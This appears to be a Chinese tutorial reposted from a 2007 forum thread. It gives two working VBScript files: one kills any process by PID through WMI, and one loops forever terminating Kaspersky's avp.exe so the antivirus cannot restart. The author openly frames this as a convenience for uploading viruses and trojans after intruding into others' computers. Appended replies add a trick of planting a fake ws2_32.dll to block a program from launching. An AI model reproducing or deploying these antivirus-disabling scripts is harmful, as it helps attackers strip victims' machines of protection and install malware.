怎么用VBS實現(xiàn)腳本結束進程與防止進程啟動

這篇文章將為大家詳細講解有關怎么用VBS實現(xiàn)腳本結束進程與防止進程啟動，小編覺得挺實用的，因此分享給大家做個參考，希望大家閱讀完這篇文章后可以有所收獲。

Kill.vbs：

代碼如下:

for each ps in getobject _  
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI腳本入侵技術，我不能解釋清楚！ 
if ps.handle=wscript.arguments(0) then  '判斷進程的PID號是否與獲得的PID號參數(shù)相等 
wscript.echo ps.terminate '如果相等就結束指定PID號對應的進程 
end if 
next 

Dis.vbs

代碼如下:

dim y,x '不要這行也行…… 
do '來個死循環(huán)……一直在判斷！do ... loop內(nèi)為循環(huán)體！ 
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解釋一樣，這也是涉及到微軟的WMI技術！ 
set x=y.execquery("select * from win32_process where name='avp.exe'")  
'查詢語句，where后判斷avp.exe（卡巴）是否存在進程中！ 
'這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非，把Dis.vbs結束了先…… 
for each i in x  
i.terminate()  '卡巴要啟動馬上就終止…… 
next  
wscript.sleep 
loop 

解釋夠清楚了，那就來看看這兩個vbs是如何工作的吧。我將Kill.vbs與Dis.vbs放在C盤根目錄下。
打開cmd，輸入cd\回到C盤根目錄下，輸入tasklist查看當前系統(tǒng)的進程情況，然后記下你想kill的進程的PID號，輸入cscript Kill.vbs 2200即可結束PID為2200的進程了！假如這個進程是avp.exe，那你就可以輸入Dis.vbs啟動Dis.vbs來防止卡巴繼續(xù)被啟動。Dis.vbs啟動時僅在任務管理器的進程中有wscript.exe進程項，要是不結束這個進程是無法再次啟動卡巴的。
懂得這些，為以后入侵他人電腦后上傳病毒、木馬之類的就更方便了一點點……上面的所有過程都經(jīng)本人試驗成功了，繼續(xù)完善……

代碼如下:

ws2_32.dll 
在程序目錄里建立這個也能組織程序運行 
 Greysign - 2007-03-20 19:01 阻止. 
 ycosxhack - 2007-03-20 19:15 
我暈了，果然啊！建立個記事本改名為ws2_32.dll，就……好，記下啦！呵呵……  
 Greysign - 2007-03-20 21:21 
運行程序會在WINDOWS目錄尋找這個接口文件.但是會先在程序目錄先搜索一遍  
 ycosxhack - 2007-03-20 21:43  
接口文件？你的意思是：任何程序都必須尋找它了？調(diào)用這個庫文件吧？刪了它就真正麻煩了…… 
 Greysign - 2007-03-20 22:37 嗯.

關于“怎么用VBS實現(xiàn)腳本結束進程與防止進程啟動”這篇文章就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，使各位可以學到更多知識，如果覺得文章不錯，請把它分享出去讓更多的人看到。